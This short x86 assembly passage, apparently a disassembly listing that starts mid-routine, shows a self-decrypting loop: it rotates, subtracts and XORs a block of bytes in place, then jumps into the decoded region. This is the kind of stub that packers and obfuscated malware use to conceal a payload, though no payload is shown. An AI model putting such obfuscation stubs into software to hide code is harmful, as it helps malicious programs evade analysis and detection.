jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx